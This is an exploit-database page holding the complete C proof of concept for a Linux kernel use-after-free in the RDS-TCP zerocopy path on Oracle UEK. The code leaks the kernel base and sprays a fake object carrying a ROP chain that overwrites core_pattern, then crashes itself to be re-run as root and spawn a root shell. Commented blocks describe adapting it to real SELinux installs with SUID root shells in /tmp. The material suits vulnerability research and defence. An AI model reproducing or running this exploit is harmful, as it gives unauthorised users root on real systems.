Exploit databaseDownload repository ZIP
GH-2d936f4063123a6e28fd9ab08d6d6d4a
vn-lazyming/cve-2026-52943
Sources for CVE-2026-52943
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files6
vn-lazyming/cve-2026-52943Revision c7c270f76520
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc/uek_poc.c
C · 18,976 bytes#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/xattr.h>
#include <sys/sendfile.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <linux/errqueue.h>
#include "modules/helper.h"
#include "modules/xattr.h"
#include "modules/netlink.h"
// UEK R8 6.12.0-202.76.4.2
#define ENTRY_SYSCALL_64_OFF 0x1200080ULL
#include "modules/entrybleed.h"
// rds-tcp wire header (what we fake in the zerocopy payload)
struct rds_header
{
uint64_t h_sequence;
uint64_t h_ack;
uint32_t h_len;
uint16_t h_sport;
uint16_t h_dport;
uint8_t h_flags;
uint8_t h_credit;
uint8_t h_padding[4];
uint16_t h_csum;
uint8_t h_exthdr[16];
};
// gadget offsets - UEK R8 6.12.0-202.76.4.2
uint64_t kbase = 0xffffffff81000000;
#define K(off) (kbase + (off))
/* QEMU/CTF mode — no SELinux: memfd fd-666 trick (same as poc_v14_v3/poc_v24) */
#define CORE_PATTERN_STR "|/proc/%P/fd/666 %P %P"
#define CORE_PATTERN_LEN 24
/* SELINUX_ONLY: real Oracle Linux install — uncomment block below,
* comment out the two lines above, and re-enable stage_handler_binary()
* call in main() phase 2.
*
* #define POC_H_PATH "/tmp/poc_h"
* #define ROOT_BASH_PATH "/tmp/b"
* #define ROOT_BASH_SRC "/bin/bash"
* #define SUID_ELEV_PATH "/tmp/r"
* #define CORE_PATTERN_STR "|" POC_H_PATH " %P"
* #define CORE_PATTERN_LEN 24
* #define INIT_EXEC_T_LABEL "unconfined_u:object_r:init_exec_t:s0"
*/
// quit on error
static void die(const char *msg)
{
perror(msg);
exit(-1);
}
// small helper: write a string to a file
static int write_file(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd < 0)
return -1;
int r = write(fd, data, strlen(data));
close(fd);
return r;
}
// did our rop change core_pattern yet?
int check_core()
{
char buf[256] = {};
int fd = open("/proc/sys/kernel/core_pattern", O_RDONLY);
if (fd < 0)
return 0;
read(fd, buf, sizeof(buf));
close(fd);
return strncmp(buf, CORE_PATTERN_STR, strlen(CORE_PATTERN_STR)) == 0;
}
// we land here as root (core_pattern runs us with the crashing pid as argv[1])
void root(char *buf)
{
#ifndef SYS_pidfd_open
#define SYS_pidfd_open 434
#define SYS_pidfd_getfd 438
#endif
int pid = strtoull(buf, 0, 10);
printf("run root() pid=%d\n", pid);
// steal the crashing process's stdio so we get a real terminal
int pfd = syscall(SYS_pidfd_open, pid, 0);
int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
dup2(stdinfd, 0);
dup2(stdoutfd, 1);
dup2(stderrfd, 2);
// print the flag and drop a shell
system("cat /flag; bash");
}
// userspace buffer that _copy_from_user writes into core_pattern
static void *corepat_buf = NULL;
static void init_corepat_buf(void)
{
corepat_buf = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (corepat_buf == MAP_FAILED)
die("mmap corepat");
memcpy(corepat_buf, CORE_PATTERN_STR, sizeof(CORE_PATTERN_STR) - 1);
}
// count zerocopy completions on the error queue (UAF signal)
int drain_errq(int tcp)
{
#ifndef SO_EE_ORIGIN_ZEROCOPY
#define SO_EE_ORIGIN_ZEROCOPY 5
#endif
char ctrl[256];
int got = 0;
while (1)
{
struct msghdr em = {.msg_control = ctrl, .msg_controllen = sizeof(ctrl)};
if (recvmsg(tcp, &em, MSG_ERRQUEUE | MSG_DONTWAIT) < 0)
break;
for (struct cmsghdr *cm = CMSG_FIRSTHDR(&em); cm; cm = CMSG_NXTHDR(&em, cm))
{
if ((cm->cmsg_level == SOL_IP && cm->cmsg_type == IP_RECVERR) ||
(cm->cmsg_level == SOL_IPV6 && cm->cmsg_type == IPV6_RECVERR))
{
struct sock_extended_err *e = (void *)CMSG_DATA(cm);
if (e->ee_origin == SO_EE_ORIGIN_ZEROCOPY)
got++;
}
}
}
return got;
}
// fill the freed slot with a fake object: vtable ptr + rop chain, via setxattr
// rop: dispatch → copy_from_user(&core_pattern, corepat_buf, 24) → msleep(inf)
void spray_xattr(int n)
{
// gadgets
// &hyp_sysfs_ops (.rodata)
#define HYP_SYSFS_OPS 0x01572410ULL
// mov rbp,rdi; mov rax,[rdi+0x18]; call rax
#define SIZE_FIFO 0x00954a70ULL
// mov rsp,rbp; pop rbp; ret
#define STAGE2_PIVOT 0x000dace0ULL
// pop r12; pop r15; ret
#define LANDMINE_2POP 0x000dad81ULL
#define POP_RDI 0x00028dfcULL
#define POP_RSI 0x0000a72eULL
#define POP_RDX 0x0008de72ULL
// _copy_from_user
#define COPY_FROM_USER 0x0075eac0ULL
#define MSLEEP_OFF 0x001f77a0ULL
// kernel core_pattern buffer
#define CORE_PATTERN 0x028b9fe0ULL
char val[XATTR_VALUE_KMALLOC_CG_256] = {};
uint64_t *q = (uint64_t *)val;
q[0] = K(HYP_SYSFS_OPS);
q[1] = K(LANDMINE_2POP);
q[2] = K(SIZE_FIFO);
q[3] = K(STAGE2_PIVOT);
q[4] = K(POP_RDI);
q[5] = K(CORE_PATTERN);
q[6] = K(POP_RSI);
q[7] = (uint64_t)corepat_buf;
q[8] = K(POP_RDX);
q[9] = CORE_PATTERN_LEN;
q[10] = K(COPY_FROM_USER);
q[11] = K(POP_RDI);
q[12] = 0xFFFFFFFFULL;
q[13] = K(MSLEEP_OFF);
q[14] = 0xffffffffdeadbeefULL;
char fname[64];
int ok = 0;
for (int i = 0; i < n; i++)
{
snprintf(fname, sizeof(fname), "/tmp/.cache_%d", i);
if (setxattr(fname, "user.xattr1", val, sizeof(val), 0) == 0)
ok++;
}
printf("[*] spray: %d/%d\n", ok, n);
}
/* SELINUX_ONLY: on a real Oracle Linux install with SELinux enforcing,
* core_pattern UMH cannot exec arbitrary files unless they carry
* init_exec_t label. These two functions stage the handler binary and
* SUID elevators. Uncomment + restore the mode-1/mode-2 dispatch in
* main() and add stage_handler_binary() call in main() phase 2.
*
* static int stage_handler_binary(void)
* {
* char buf[8192]; ssize_t n;
* int src = open("/proc/self/exe", O_RDONLY);
* if (src < 0) return -1;
* int dst = open(POC_H_PATH, O_CREAT | O_TRUNC | O_WRONLY, 0755);
* if (dst < 0) { close(src); return -1; }
* while ((n = read(src, buf, sizeof(buf))) > 0)
* write(dst, buf, n);
* close(src); close(dst);
* chmod(POC_H_PATH, 0755);
* if (setxattr(POC_H_PATH, "security.selinux",
* INIT_EXEC_T_LABEL, strlen(INIT_EXEC_T_LABEL) + 1, 0) < 0)
* printf("[!] SELinux label failed\n");
* else
* printf("[*] handler staged\n");
* unlink(ROOT_BASH_PATH);
* unlink(SUID_ELEV_PATH);
* return 0;
* }
*
* static void umh_stage_suid(const char *path, const char *srcpath)
* {
* char buf[8192]; ssize_t n;
* unlink(path);
* int dst = open(path, O_CREAT | O_TRUNC | O_WRONLY, 04755);
* if (dst < 0) return;
* int src = open(srcpath, O_RDONLY);
* if (src >= 0) {
* while ((n = read(src, buf, sizeof(buf))) > 0)
* write(dst, buf, n);
* close(src);
* }
* fchmod(dst, 04755);
* close(dst);
* }
*/
// child: lives in its own netns, owns veth1 + the rds socket that triggers the bug
void child_process(int fd)
{
#ifndef AF_RDS
#define AF_RDS 21
#endif
cpu_affinity(0);
// own mount + network namespace (veth1 must be in a different ns than veth0,
// otherwise 10.0.0.2 is local and the kernel delivers via lo, not crossing veth)
unshare(CLONE_NEWNS | CLONE_NEWNET);
mount("none", "/", NULL, MS_REC | MS_PRIVATE, NULL);
// wait until parent has moved veth1 into our netns
char cmd = 0;
while (cmd != 'G')
recv(fd, &cmd, 1, 0);
// bring up our end + give it an ip + crank gro
int nl = nl_open();
nl_set_link(nl, "lo", 1, 0);
nl_set_link(nl, "veth1", 1, 65535);
nl_add_ip(nl, "veth1", "10.0.0.2", 24);
nl_set_gro(nl, "veth1", 200000);
close(nl);
ethtool_set("veth1", ETHTOOL_SGRO, 1);
mount("sysfs", "/sys", "sysfs", MS_NOSUID | MS_NOEXEC | MS_NODEV, NULL);
// batch gro in a kthread
write_file("/sys/class/net/veth1/threaded", "1\n");
// huge recv window
write_file("/proc/sys/net/ipv4/tcp_rmem", "4096 4194304 16777216");
// rds: bind 10.0.0.2; trigger rds_tcp module load (UEK: RDS_TCP=m)
int rds = socket(AF_RDS, SOCK_SEQPACKET, 0);
{ int t = 2; setsockopt(rds, 276, 9, &t, sizeof(t)); }
struct sockaddr_in la = {.sin_family = AF_INET, .sin_addr.s_addr = inet_addr("10.0.0.2")};
bind(rds, (struct sockaddr *)&la, sizeof(la));
// grab the bound port; timeout so a failed-race recv won't block forever
socklen_t ll = sizeof(la);
getsockname(rds, (struct sockaddr *)&la, &ll);
uint16_t port = la.sin_port;
struct timeval tv = {.tv_sec = 5};
setsockopt(rds, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
// tell parent the port, then take commands
write(fd, &port, sizeof(port));
while (recv(fd, &cmd, 1, 0) > 0)
{
if (cmd == 'Q')
break;
if (cmd == 'R')
{
char rbuf[4096];
struct iovec iov = {rbuf, sizeof(rbuf)};
struct msghdr m = {.msg_iov = &iov, .msg_iovlen = 1};
// <- the trigger
ssize_t r = recvmsg(rds, &m, 0);
int32_t res = r < 0 ? (int32_t)-errno : (int32_t)r;
write(fd, &res, sizeof(res));
}
}
close(rds);
}
int main(int argc, char *argv[])
{
/* SELINUX_ONLY: mode 1 — SUID elevator (/tmp/r run as suid root).
* Only reachable on real OL10 after umh_stage_suid() creates /tmp/r.
* Not needed in QEMU/CTF mode (root() recovers stdio directly).
*
* if (argc == 1 && geteuid() == 0 && getuid() != 0) {
* setgroups(0, NULL);
* setresgid(0, 0, 0);
* setresuid(0, 0, 0);
* execl("/bin/bash", "bash", "--norc", "-i", (char *)NULL);
* execl("/bin/sh", "sh", "-i", (char *)NULL);
* _exit(127);
* }
*/
// core_pattern re-runs us as root with the crashing pid in argv[1]
if (argc > 2)
{
root(argv[1]);
/* SELINUX_ONLY: replace root() call above with these two lines:
* umh_stage_suid(ROOT_BASH_PATH, ROOT_BASH_SRC);
* umh_stage_suid(SUID_ELEV_PATH, "/proc/self/exe");
*/
exit(0);
}
// phase 1: leak kernel base, keep the value seen most often
cpu_affinity(0);
enum { EB_RUNS = 5 };
uint64_t v[EB_RUNS];
int nv = 0;
for (int r = 0; r < EB_RUNS; r++)
{
uint64_t bb = entrybleed();
if (bb >= 0xffffffff80000000ULL && bb <= 0xffffffffc0000000ULL &&
(bb & 0x1fffffULL) == 0)
v[nv++] = bb;
}
int best_cnt = 0;
for (int i = 0; i < nv; i++)
{
int cnt = 0;
for (int j = 0; j < nv; j++)
if (v[j] == v[i])
cnt++;
if (cnt > best_cnt) { best_cnt = cnt; kbase = v[i]; }
}
printf("kbase: %p (%d/%d)\n", (void *)kbase, best_cnt, EB_RUNS);
if (best_cnt == 0 || kbase < 0xffffffff80000000ULL || kbase > 0xffffffffc0000000ULL)
die("kaslr");
// phase 2: background watcher - when core_pattern flips, crash to get run as root
if (!fork())
{
cpu_affinity(1);
while (1)
{
if (check_core())
{
printf("core_pattern written\n");
if (!fork())
{
// stash our own binary on fd 666 so core_pattern execs it
int src = open("/proc/self/exe", O_RDONLY);
int memfd = memfd_create("x", 0);
sendfile(memfd, src, 0, 0xffffffff);
close(src);
dup2(memfd, 666);
close(memfd);
// crash -> kernel runs core_pattern -> runs us as root
struct rlimit rl = {RLIM_INFINITY, RLIM_INFINITY};
setrlimit(RLIMIT_CORE, &rl);
*(volatile size_t *)0 = 0;
while (1)
;
}
return 0;
}
}
}
cpu_affinity(0);
/* phase 2.5: stage handler binary.
* SELINUX_ONLY: uncomment on real Oracle Linux — not needed in QEMU.
*
* if (stage_handler_binary() < 0)
* die("stage handler");
*/
// phase 3: raise memlock so zerocopy can pin pages
struct rlimit rl;
getrlimit(RLIMIT_MEMLOCK, &rl);
rl.rlim_cur = rl.rlim_max;
setrlimit(RLIMIT_MEMLOCK, &rl);
// phase 4: user/net namespace for CAP_NET_ADMIN
if (getuid() != 0)
unshare_setup(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET);
else
unshare(CLONE_NEWNS | CLONE_NEWNET);
/* phase 5: private tmpfs for the xattr files.
* SELINUX_ONLY: pass context= option to allow xattr writes under SELinux:
* mount("tmpfs", "/tmp", "tmpfs", 0, "context=system_u:object_r:tmpfs_t:s0")
* QEMU (no SELinux): plain mount is fine.
*/
mkdir("/tmp", 0777);
mount("tmpfs", "/tmp", "tmpfs", 0, NULL);
// phase 6: init corepat_buf before fork — child inherits the mapping
// (copy_from_user in rop reads from this userspace pointer)
init_corepat_buf();
// phase 7: pre-create the files we will setxattr-spray onto
char file_name[0x100];
for (int i = 0; i < 8192; i++)
{
snprintf(file_name, sizeof(file_name), "/tmp/.cache_%d", i);
close(open(file_name, O_CREAT | O_RDWR, 0600));
}
printf("[*] namespace ready\n");
// phase 8: fork the child (it holds the second netns + rds listener)
int sp[2];
if (socketpair(AF_UNIX, SOCK_SEQPACKET, 0, sp) < 0)
die("socketpair");
pid_t cpid = fork();
if (cpid < 0)
die("fork");
if (cpid == 0)
{
close(sp[0]);
child_process(sp[1]);
return 0;
}
close(sp[1]);
printf("child pid: %d\n", cpid);
// phase 9: create veth pair, push veth1 into child netns, set up veth0
// give child a moment to unshare its netns, then open a handle to it
sleep(1);
char ns_path[64];
snprintf(ns_path, sizeof(ns_path), "/proc/%d/ns/net", cpid);
int net_ns_fd = open(ns_path, O_RDONLY);
if (net_ns_fd < 0)
die("open netns");
int nl = nl_open();
nl_create_veth(nl, "veth0", "veth1");
nl_move_ns(nl, "veth1", net_ns_fd);
nl_set_link(nl, "lo", 1, 0);
nl_set_link(nl, "veth0", 1, 65535);
nl_add_ip(nl, "veth0", "10.0.0.1", 24);
close(nl);
// tso off -> separate segments for gro
ethtool_set("veth0", ETHTOOL_STSO, 0);
// tell child to bring up its end, then read back its rds port
write(sp[0], "G", 1);
uint16_t port;
recv(sp[0], &port, sizeof(port), 0);
printf("[*] peer port=%u\n", ntohs(port));
sleep(1);
// phase 10: tcp socket with zerocopy, connect to the rds-tcp port
#ifndef SO_ZEROCOPY
#define SO_ZEROCOPY 60
#define MSG_ZEROCOPY 0x4000000
#endif
int tcp = socket(AF_INET, SOCK_STREAM, 0);
int sndbuf = 4 * 1024 * 1024;
// big tx burst
setsockopt(tcp, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf));
struct sockaddr_in src = {.sin_family = AF_INET, .sin_addr.s_addr = inet_addr("10.0.0.1")};
bind(tcp, (struct sockaddr *)&src, sizeof(src));
struct sockaddr_in dst = {.sin_family = AF_INET,
.sin_addr.s_addr = inet_addr("10.0.0.2"),
.sin_port = htons(16385)};
if (connect(tcp, (struct sockaddr *)&dst, sizeof(dst)) < 0)
die("connect");
int one = 1;
// no nagle, keep segments split
setsockopt(tcp, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
// attaches the uarg (the bug)
if (setsockopt(tcp, SOL_SOCKET, SO_ZEROCOPY, &one, sizeof(one)) < 0)
die("SO_ZEROCOPY");
printf("[*] tcp ready\n");
// pin cpu0: all skbuff_head_cache allocs hit the same SLUB cpu_slab
cpu_affinity(0);
// phase 11: heap groom - lay pad objects around where the victim skb will land
enum
{
OBJ_PER_PAGE = 16,
N_PAGES_PRE = 12,
N_PAGES_POST = 12,
PAD_PRE_OBJS = N_PAGES_PRE * OBJ_PER_PAGE,
PAD_POST_OBJS = N_PAGES_POST * OBJ_PER_PAGE,
};
int pad_sp[2];
socketpair(AF_UNIX, SOCK_DGRAM, 0, pad_sp);
int big = 8 * 1024 * 1024;
setsockopt(pad_sp[0], SOL_SOCKET, SO_SNDBUF, &big, sizeof(big));
setsockopt(pad_sp[1], SOL_SOCKET, SO_RCVBUF, &big, sizeof(big));
char pad[16] = {};
for (int i = 0; i < PAD_PRE_OBJS; i++)
send(pad_sp[0], pad, sizeof(pad), 0);
printf("[*] pre-pad %d objs (%d pages)\n", PAD_PRE_OBJS, N_PAGES_PRE);
// phase 12: send 16 x 64k of zerocopy data so gro merges it into one big nonlinear skb
enum { N_MSG = 16, MSG_SZ = 65536, MSG_DATA = 65488 };
void *mbuf = mmap(NULL, N_MSG * MSG_SZ, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
for (int i = 0; i < N_MSG; i++)
{
struct rds_header *h = (void *)((char *)mbuf + i * MSG_SZ);
memset(h, 0, sizeof(*h));
h->h_sequence = htobe64((uint64_t)i + 1);
h->h_len = htobe32(MSG_DATA);
h->h_dport = port;
memset((char *)mbuf + i * MSG_SZ + 48, 'A' + i % 26, MSG_DATA);
}
struct iovec iov = {mbuf, N_MSG * MSG_SZ};
struct msghdr msgh = {.msg_iov = &iov, .msg_iovlen = 1};
if (sendmsg(tcp, &msgh, MSG_ZEROCOPY) < 0)
die("sendmsg");
// post padding so the freed skb is surrounded
for (int i = 0; i < PAD_POST_OBJS; i++)
send(pad_sp[0], pad, sizeof(pad), 0);
printf("[*] sent + post-pad %d objs (%d pages)\n", PAD_POST_OBJS, N_PAGES_POST);
// phase 13: settle - let NET_RX softirq flush TX skb defer_list
usleep(1000000);
// phase 14: drive the child to recv; when the UAF fires, spray the fake object
int sprayed = 0;
for (int i = 0; i < N_MSG; i++)
{
write(sp[0], "R", 1);
int32_t res;
recv(sp[0], &res, sizeof(res), 0);
printf(" step %2d: %d\n", i, res);
if (drain_errq(tcp) > 0 && !sprayed)
{
sprayed = 1;
printf("[*] UAF at step %d - spraying\n", i);
char rbuf[16];
// free the pads
while (recv(pad_sp[1], rbuf, sizeof(rbuf), MSG_DONTWAIT) > 0);
spray_xattr(8192);
}
}
sleep(2);
printf("[*] done\n");
write(sp[0], "Q", 1);
int st;
waitpid(cpid, &st, 0);
while (1)
pause();
return 0;
}